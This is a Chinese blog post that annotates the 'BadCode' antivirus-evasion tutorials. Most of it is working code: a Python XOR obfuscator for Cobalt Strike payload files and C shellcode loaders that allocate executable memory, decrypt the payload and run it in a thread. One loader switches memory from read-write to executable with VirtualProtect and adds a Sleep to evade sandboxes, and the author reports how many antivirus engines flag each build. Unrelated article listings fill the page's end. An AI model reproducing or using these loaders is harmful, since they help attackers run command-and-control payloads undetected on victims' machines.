简介

就是旋哥的BadCode系列,这次好好通读下,然后我在旋哥的注释上又加了一些,函数原型等。

项目地址:https://github.com/Rvn0xsy/BadCode

第一课

主要介绍了下cs的raw和c,然后就是混淆

旋哥使用Python做的混淆 xor加密,然后我把功能是干啥的都写在了注释里,

import sys
from argparse import ArgumentParser, FileType def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1) # 批量读取原始bin文件的1个字节
if not code: # 如果没有东西就跳出循环
break base10 = ord(code) ^ num # 使用code的ASCII码值 异或 num
base10_str = chr(base10) # 然后把异或出来的值再转换为char类型
shellcode_raw += base10_str.encode() # 将转换回来的char类型再加密 然后拼接到shellcode_raw里
code_hex = hex(base10) # 转换为16进制
code_hex = code_hex.replace('0x','') # 然后把0x替换为空
if(len(code_hex) == 1): # 如果长度==1
code_hex = '0' + code_hex # 比如是1 就变成01
shellcode += '\\x' + code_hex # 最后\x01拼接到shellcode里
shellcode_size += 1 # 长度+1个字节
# 然后while读取整个文件 1. xor 2. 转为char 3. 编码 4. 转换
src_fp.close() # 关闭原始的bin文件
dst_raw.write(shellcode_raw) # 向新的bin文件写入
dst_raw.close() # 写入完然后关闭
dst_fp.write(shellcode) # 向c文件写入shellcode
dst_fp.close() # 写入完然后关闭
return shellcode_size # 最后返回shellcode的长度
except Exception as e: # 错误处理
sys.stderr.writelines(str(e)) def main():
# 以下这些就是设置参数
# type:参数类型
# required:是否可以省略参数
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: rvn0xsy@gmail.com')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=False)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size)) if __name__ == "__main__":
main()

21line 默认是\x,转义符的问题 \x解决

第二课

申请内存,并创建线程加载shellcode,然后就是xor解密然后加载

这是一个普通的,并没有xor

#include <Windows.h>

// 入口函数
int wmain(int argc,TCHAR * argv[]){ int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* length: 800 bytes */ unsigned char buf[] = ""; // 获取shellcode大小
shellcode_size = sizeof(buf); /*
函数原型
LPVOID VirtualAlloc(
LPVOID lpAddress, // 指向要分配区域的指定起始地址的长指针,如果为NULL系统自动分配
DWORD dwSize, // 指定区域的大小
DWORD flAllocationType, // 指定分配类型。
DWORD flProtect // 指定访问保护的类型
);
*/ char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size, // shellcode的大小
MEM_COMMIT, // 为指定的页面区域在内存或磁盘上的页面文件中分配物理存储
PAGE_EXECUTE_READWRITE // 启用对页面提交区域的执行、读取和写入访问。
); /*
void CopyMemory(
_In_ PVOID Destination, // 指向复制块目标起始地址的指针
_In_ const VOID *Source, // 指向要复制的内存块起始地址的指针。
_In_ SIZE_T Length // 要复制的内存大小
);
*/ // 将shellcode复制到可执行的内存页中
CopyMemory(shellcode,buf,shellcode_size); // 1. 刚申请的一块内存(shellcode) 2. 原来的数据的指针 3. 所需大小 /*
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全描述符
SIZE_T dwStackSize, // 堆栈的初始大小,如果为0系统给一个默认的
LPTHREAD_START_ROUTINE lpStartAddress, // 指向要由线程执行的应用程序定义函数的指针
__drv_aliasesMem LPVOID lpParameter, // 指向要传递给线程的变量的指针
DWORD dwCreationFlags, // 创建线程的标志
LPDWORD lpThreadId // 线程ID
);
*/ // 创建线程
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
); /*
DWORD WaitForSingleObject(
HANDLE hHandle, // HANDLE
DWORD dwMilliseconds // 如果指定了非零值,则函数会等待,直到对象发出信号或间隔结束。如果dwMilliseconds为零,如果对象没有发出信号,函数不会进入等待状态;它总是立即返回。
如果dwMilliseconds是INFINITE,则该函数将仅在对象收到信号时返回。
);
*/ // 等待线程
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束, INFINITE是一个宏
return 0;
}

利用xor解密



这里shellcode[i]每一个与0x10再异或,得出原始的shellcode,再进行加载

#include <Windows.h>
#include <stdio.h> int main()
{
unsigned char buf[] = "";
int length = sizeof(buf) / sizeof(buf[0]);
for (int i = 0; i<length - 1; i++)
{
buf[i] ^= 0x10;
}
for (int i = 0; i < sizeof(buf)/sizeof(buf[0]); i++)
{
printf("\\x%x", buf[i]);
}
}

自己写的一个xor的加密代码 0x10就是key

第三课

主要是利用VirtualProtect函数改变VirtualAlloc申请地址的属性

#include <Windows.h>

int wmain(int argc,TCHAR * argv[]){

    int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性 unsigned char buf[] = ""; // 获取shellcode大小
shellcode_size = sizeof(buf); /* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
buf[i] ^= 10;
} char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 启用对页面提交区域的读写访问。不再是可读可写可执行
); // 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode,buf,shellcode_size); /*
函数原型
BOOL VirtualProtect(
LPVOID lpAddress, // 要更改访问保护属性的页面区域的起始页面地址。 我们要修改shellcode的属性,就是shellcode
SIZE_T dwSize, // 大小
DWORD flNewProtect, // 内存保护选项
PDWORD lpflOldProtect // 指向一个变量的指针,该变量接收指定页面区域中第一页的先前访问保护值;也就是某个地址
);
*/ // 这里开始更改它的属性为可执行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect); // 1. 被更改的 2. 大小 3. 启用对页面提交区域的执行访问(原来只是可读可写) 4. 原来的属性 // 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000); hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
); WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}

其实这里修改的地方只有

  1. 申请的时候,光申请了可读可写,但是并不能执行
  2. 利用VirtualProtect函数修改shellcode的属性,并变成了可执行



报了六个的是普通的申请可读可写可执行权限的xor解密执行,报了四个的是先申请可读可写,后又修改属性变成可执行的程序

然后再在上面的代码的基础上,不使用手动异或来进行操作,使用自带函数

在测这个的时候,我还以为不上线呢,最后发现是sleep的问题 得等段时间了 然后我做了下输出、

InterlockedXor8这个函数是对char值做异或,(但是我觉得做正常手动异或,应该没事吧)

LONG InterlockedXor(
LONG volatile *Destination, // 指向第一个操作数的指针。该值将替换为操作的结果。 所以要+i,向后走 一个个异或替换
LONG Value
);

最后测试也是4个报毒,看来我之前的猜测没有错

通读BadCode的更多相关文章

  1. 通读cheerio API ——NodeJs中的jquery

    通读cheerio API ——NodeJs中的jquery 所谓工欲善其事,必先利其器,所以通读了cheerio的API,顺便翻译了一遍,有些地方因为知道的比较少,不知道什么意思,保留了英文,希望各 ...

  2. live555学习(一)通读Makefile编译live555

    live555学习(一)通读Makefile编译live555 live555 编译live555 学习开源 live555学习(一)通读Makefile编译live555 前言 live555简介 ...

  3. Spring 通读官方文档

    Spring 通读官方文档 这部分参考文档涵盖了Spring Framework绝对不可或缺的所有技术. 其中最重要的是Spring Framework的控制反转(IoC)容器.Spring框架的Io ...

  4. 通读《构建之法》与CI/CD工具尝试

    项目 内容 这个作业属于哪个课程 2021春季软件工程(罗杰 任健) 这个作业的要求在哪里 作业要求 我在这个课程的目标是 积累软件开发经验,提高工程能力 这个作业在哪个具体方面帮助我实现目标 通读课 ...

  5. [php代码审计] 通读审计之shangfancms

    前言 大部分的MVC框架,访问的控制器大部分是由外部参数来决定的,那么本篇文章所通读的MVC框架与之前的一系列MVC框架不太一样,它的路由是由程序本身的路由表来决定的. 源码下载 https://ww ...

  6. 通读AFN③--HTTPS访问控制(AFSecurityPolicy),Reachability(AFNetworkReachabilityManager)

    这一篇主要介绍使用AFN如何访问HTTPS网站以及这些做法的实现原理,还有介绍AFN的网络状态监测部分AFNetworkReachabilityManager,这个模块会和苹果官方推荐的Reachab ...

  7. 通读SDWebImage③--gif和webP的支持、不同格式图片的处理、方向处理

    本文目录 NSData+ImageContentType: 根据NSData获取MIME UIImage+GIF UIImage+WebP UIImage+MultiFormat:根据NSData相应 ...

  8. 通读SDWebImage②--视图分类

    本文目录 UIView+WebCacheOperation UIImageView+WebCache.UIImageView+HighlightedWebCache.MKAnnotationView+ ...

  9. 通读SDWebImage①--总体梳理、下载和缓存

    本文目录 下载操作SDWebImageDownloaderOptions和下载过程实现 下载管理SDWebImageDownloader 缓存SDImageCache SDWebImageManage ...

随机推荐

  1. Pun(PhotonUnityNetwork)

    介绍 Photon Unity Networking(首字母缩写 PUN)是一个 Unity 多人游戏插件包.它提供了身份验证选项.匹配,以及快速.可靠的通过我们的 Photon 后端实现的游戏内通信 ...

  2. Qt5实现文本编辑器(附图片转PDF与详细代码)

    1. 功能介绍 老规矩,我们直接上截图 这是主界面 文件菜单界面 编辑菜单界面 设置菜单界面 关于菜单界面 2. 功能演示 设置字体颜色 设置字体大小 点击关于菜单 点击关于Qt菜单 会自动跳转到Qt ...

  3. Redis的数据类型以及应用场景

    1. Redis的作用 1.1 Redis可以做什么 1.缓存:缓存机制几乎在所有的大型网站都有使用,合理地使用缓存不仅可以加快数据的访问速度,而且能够有效地降低后端数据源的压力.Redis提供了键值 ...

  4. 关于LCA的几点想法

    倍增 这是最最最常见的写法了,一个fa[N][logN]的数组直接搞定 时间复杂度也不算太高 预处理 $ O(nlogn) $ 如果你想卡的话,可以卡到 $ O(nlogh) $ h为树的深度 查询 ...

  5. 使用IDEA配置Maven

    IDEA中配置Maven File --> settings 推荐配置:设置maven在不联网的情况下使用本地插件 一般使用maven为我们提供好的骨架时,是需要联网的,配置这个,可以在没有网络 ...

  6. linux进程后台运行的几种方法 - nohup/setsid/&

    linux进程后台运行的几种方法 - nohup/setsid/& [转载]   我们经常会碰到这样的问题,用 telnet/ssh 登录了远程的 Linux 服务器,运行了一些耗时较长的任务 ...

  7. Quartz:Quartz添加事务回滚报错

    自动任务类: @PersistJobDataAfterExecution @DisallowConcurrentExecution public class ReCodeBack implements ...

  8. 23 shell 进程替换

    0.shell进程替换的用法 1.使用进程替换的必要性 2.进程替换的本质 进程替换和命令替换非常相似.命令替换是把一个命令的输出结果赋值给另一个变量,例如dir_files=`ls -l`或date ...

  9. leetcode156场周赛5206

    思路分析: 1.两个数组,一个保存字符,一个保存字符出现次数 2.遍历一遍字符串,出现相同的字符,次数加一,且次数到k的话,那么就剔除,没到k,就次数加一.如果不同,就把它加入到字符的数组里面,对应次 ...

  10. 两个字符串,s1 包含 s2,包含多次,返回每一个匹配到的索引---python

    #两个字符串,s1 包含 s2,包含多次,返回每一个匹配到的索引 def findSubIndex(str1,subStr): str_len = len(str1) sub_len = len(su ...